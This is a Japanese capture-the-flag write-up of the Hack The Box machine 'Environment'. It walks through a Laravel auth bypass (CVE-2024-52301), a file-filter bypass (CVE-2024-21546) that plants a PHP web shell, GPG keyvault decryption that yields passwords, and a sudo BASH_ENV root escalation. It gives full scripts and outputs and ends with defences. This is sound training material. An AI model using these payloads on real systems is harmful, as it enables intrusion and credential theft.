Hack The BoxのWriteup(Environment)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Environment — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH(22)/HTTP(80) Laravelサイト
CVE-2024-52301
?–env=preprod でログインバイパス
CVE-2024-21546
Laravel Filemanager拡張子フィルタ回避
Webシェル設置
www-data RCE → user.txt ✓
GPG鍵庫の平文パスワード
偽GNUPGHOMEで復号
hish 資格情報
SSH/su ログイン
sudo BASH_ENV 悪用
root shell → root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 10000 10.129.232.3
nmap -Pn -sV -sC -p 22,80 10.129.232.3
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
BASH
echo "10.129.232.3  environment.htb" | sudo tee -a /etc/hosts

ディレクトリ列挙とLaravel検出

BASH
feroxbuster -u http://environment.htb --depth 1
RESULT
200  GET  http://environment.htb/login
405  GET  http://environment.htb/mailing
405  GET  http://environment.htb/upload   ← POST専用ルート
200  GET  http://environment.htb/up
301  GET  http://environment.htb/storage => /storage/
403  GET  http://environment.htb/build
403  GET  http://environment.htb/vendor
ℹ️
Cookie(XSRF-TOKEN/laravel_session)からLaravel製と 判明。/uploadがGETで405を返す(=POST専用ルートが存在する)点が 後の手がかりになる。/upload(デバッグモード時のエラー画面)から Laravel 11.30.0と判明。
PHASE 2

CVE-2024-52301 でログインをバイパスし管理画面へ

脆弱性の背景

NOTE
php.iniで register_argc_argv が有効な環境では、URLのクエリ文字列を
CLI引数のように解釈させることができ、`?--env=X` でLaravelアプリの
実行環境(APP_ENV相当)をリクエスト単位で書き換えられる
(CVE-2024-52301)。ログイン処理のコード(デバッグモードのクラッシュ画面で
判明)は、環境が"preprod"の場合に**認証情報の検証自体をスキップして
userid=1としてログインさせる**という危険な分岐を持っている。
BASH (PoC: フッターの表示が変わることを確認)
curl -s "http://environment.htb/?--env=local" | grep -i version

ログインCSRFトークンを取得しバイパスPOSTを送信

PYTHON
import requests, re

s = requests.Session()
r = s.get("http://environment.htb/login")
token = re.search(r'name="_token" value="([^"]+)"', r.text).group(1)

data = {"_token": token, "email": "a@a.com", "password": "password", "remember": "False"}
r2 = s.post("http://environment.htb/login?--env=preprod", data=data)
print(r2.url)
RESULT
http://environment.htb/management/dashboard
メールアドレス・パスワードの値自体は何でもよい(クライアント側の 形式検証さえ満たせばよい)。ログインPOSTのパス末尾に ?--env=preprodを付与するだけで認証情報検証がスキップされ、 管理ダッシュボード(/management/dashboard)にリダイレクトされる。
PHASE 3

CVE-2024-21546 で拡張子フィルタを回避しWebシェル設置

プロフィール画像アップロードフォームの特定

BASH (実際のフォーム構造をライブ確認)
curl -s -b cookies.txt http://environment.htb/management/profile | grep -A3 'id="profile-pic"'
RESULT
<form enctype="multipart/form-data" id="profileUpload">
  <input type="hidden" name="_token" value="...">
  <input type="file" id="profile-pic" name="upload" required>
ℹ️
JavaScriptを確認するとfetch('/upload', {method:'POST', body: formData})でアップロードしていることが分かる。バックエンドは UniSharp Laravel Filemanager(unisharp/laravel-filemanager, 2.9.1未満)を使用。

CVE-2024-21546: 拡張子フィルタバイパス

NOTE
unisharp/laravel-filemanager (<2.9.1) は、ファイル名の末尾に "." を
1つ追加するだけで拡張子フィルタを回避できる脆弱性がある
(CVE-2024-21546)。例: "shell.php." というファイル名でアップロードすると、
フィルタは ".php." を ".php" と別物として扱い通過させるが、
サーバー側の保存処理では末尾の "." が除去され最終的に "shell.php" として
保存され、PHPとして実行可能になる。
PYTHON (有効なPNGヘッダー + PHPペイロード)
import struct, zlib

def png_chunk(tag, data):
    return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', zlib.crc32(tag+data))

png = b'\x89PNG\r\n\x1a\n' + png_chunk(b'IHDR', struct.pack('>IIBBBBB',1,1,8,2,0,0,0))
payload = png + b"<?php system($_GET['c']); ?>"

files = {"upload": ("kcrshell.php.", payload, "image/png")}
r = s.post("http://environment.htb/upload", files=files,
           headers={"X-XSRF-TOKEN": xsrf_token})
print(r.text)
RESULT
{"url":"http://environment.htb/storage/files/kcrshell.php",
 "uploaded":"http://environment.htb/storage/files/kcrshell.php"}
⚠️
重要: アップロード先はMIMEタイプをファイルの マジックバイト(実際の内容)で検査しているため、単に Content-Type: image/pngヘッダーを偽装するだけでは 不十分。実際に有効なPNGシグネチャ+IHDRチャンクを ファイル先頭に含める必要がある(でないと Unexpected MimeType: application/octet-streamで拒否される)。

Webシェル経由のRCE確認 & user.txt取得

BASH
curl -s "http://environment.htb/storage/files/kcrshell.php?c=id"
curl -s "http://environment.htb/storage/files/kcrshell.php" \
  --data-urlencode "c=cat /home/hish/user.txt" -G
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ad98e4484f4c686f087f2de7d8d30a40
user.txt — www-data経由(hishのホーム直下)
ad98e4484f4c686f087f2de7d8d30a40
ℹ️
www-dataは/home/hish配下のファイルを読み取り権限で アクセスできる設定になっており、対話シェルを張らずとも user.txtを直接catできる。
PHASE 4

偽GNUPGHOMEでGPG鍵庫を復号しhishの資格情報を窃取

読み取り可能だが書き込み不可なGNUPGHOME

BASH (www-dataでの直接復号は失敗)
gpg -d --home /home/hish/ /home/hish/backup/keyvault.gpg
RESULT
gpg: WARNING: unsafe ownership on homedir '/home/hish'
gpg: failed to create temporary file '/home/hish/.#lk...': Permission denied
gpg: keyblock resource '/home/hish/pubring.kbx': Permission denied
ℹ️
www-dataは.gnupgディレクトリの中身を読む ことはできるが、gpgは復号時に同じディレクトリへ一時ロックファイルを 書き込もうとするためPermission deniedになる。 秘密鍵ファイル自体(.gnupg/private-keys-v1.d/*.key)は 暗号化されておらず、コピーできれば復号は可能。

書き込み可能な偽GNUPGHOMEを用意して復号

BASH (すべてWebシェル経由 c=<コマンド> で実行)
mkdir -p /dev/shm/kcr_fakehome
cp -r /home/hish/.gnupg/ /dev/shm/kcr_fakehome
gpg -d --home /dev/shm/kcr_fakehome/.gnupg/ /home/hish/backup/keyvault.gpg
RESULT
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3,
     created 2025-01-11 "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
/dev/shm(www-dataが書き込み可能なtmpfs)を新しい GNUPGHOMEとして使い、hishの.gnupg一式をそのままコピーする ことで、gpgの一時ファイル書き込み制約を回避しつつ本物の秘密鍵で 復号できる。復号結果にENVIRONMENT.HTB用のパスワードが 含まれており、これがhishのシステムログインパスワードと一致する。

hishでログイン確認

BASH
sshpass -p 'marineSPm@ster!!' ssh hish@environment.htb
RESULT
Linux environment 6.1.0-34-amd64 ...
hish@environment:~$
PHASE 5

sudo の env_keep=BASH_ENV を悪用してroot取得

sudo権限の確認

BASH
sudo -l
RESULT
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=...,
    env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo
🚨
致命的な設定ミス: sudoersに env_keep+="ENV BASH_ENV"が設定されており、 BASH_ENV環境変数がsudo実行時にも保持される。 Bashは非対話的にスクリプトを実行する際BASH_ENVで指定されたファイルをスクリプト本体の実行前に 読み込んで実行する仕様がある(if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi)。systeminfoがbashスクリプト であれば、この仕組みでroot権限のコード実行が可能になる。

BASH_ENVを悪用したroot昇格

BASH
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh

BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo
RESULT
root@environment:/home/hish# id
uid=0(root) gid=0(root) groups=0(root)
sudo /usr/bin/systeminfo実行時、bashは systeminfo本体を実行する前にBASH_ENVに 指定した/dev/shm/shell.shを読み込んで実行する。 その中身は単に/bin/bashを起動するだけなので、 root権限の対話シェルがそのまま得られる。

root.txt 取得

BASH
cat /root/root.txt
RESULT
8a57164c693e9a74eb961a0d187cc05d
root.txt — root
8a57164c693e9a74eb961a0d187cc05d
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — www-data経由
ad98e4484f4c686f087f2de7d8d30a40
root.txt — root
8a57164c693e9a74eb961a0d187cc05d

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2024-52301 Laravel(register_argc_argv有効時) 認証バイパス Critical URLクエリ?--env=preprodでアプリ実行環境を書き換え、ログイン処理の認証情報検証を丸ごとスキップさせる
CVE-2024-21546 unisharp/laravel-filemanager (<2.9.1) 拡張子フィルタバイパスによるRCE Critical ファイル名末尾に “.” を付加(例: shell.php.)しフィルタを回避、実際のマジックバイトが有効な画像であればWebシェルを設置できる
過度に緩いホームディレクトリ権限 /home/hish (www-data読み取り可能) user.txt・GPG秘密鍵の漏洩 Medium www-dataがhishのホーム全体を読み取れるため、user.txtとGPG鍵庫を直接窃取できる
sudo env_keep=BASH_ENV hishのsudoers設定(systeminfoコマンド) root権限への昇格 High BASH_ENV環境変数がsudo実行を跨いで保持される設定を悪用し、非対話bashスクリプト実行前にroot権限で任意コードを注入する

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + feroxbusterLaravel 11.30.0サイト発見
2認証バイパスCVE-2024-52301(preprod環境切替)管理ダッシュボードアクセス
3RCECVE-2024-21546(拡張子フィルタ回避)Webシェル → user.txt
4資格情報窃取偽GNUPGHOMEでのGPG復号hishのパスワード
5権限昇格sudo BASH_ENV悪用root.txt

学んだ教訓 & 防御策

問題点防御策
php.iniで register_argc_argv が有効になっておりURLクエリでフレームワークの実行環境を書き換えられる register_argc_argvを無効化する。Laravelを既知の脆弱バージョンからパッチ済みバージョンへ更新する。
デバッグモード(APP_DEBUG=true)が本番相当の環境で有効なままになっており詳細なスタックトレースが漏洩する 本番/準本番環境ではAPP_DEBUGを必ずfalseに設定する。
ファイルアップロード機能の拡張子検証が末尾のピリオド付加で回避可能 依存パッケージ(laravel-filemanager)を修正済みバージョンへ更新する。拡張子検証はホワイトリスト方式かつ正規化後の文字列で厳格に行う。
Webサーバー実行ユーザー(www-data)が他の一般ユーザーのホームディレクトリを読み取れる ホームディレクトリのパーミッションを750等に制限し、Webサーバーの実行ユーザーからアクセスできないようにする。
sudoersでBASH_ENV/ENVをenv_keepに含めている(GNU/Linuxで極めて危険な既知アンチパターン) env_keepにBASH_ENV/ENVを含めない。sudoの対象コマンドは可能な限りシェルスクリプトではなくコンパイル済みバイナリにし、環境変数の継承を最小限にする。
HackTheBox: Environment | 完全攻略レポート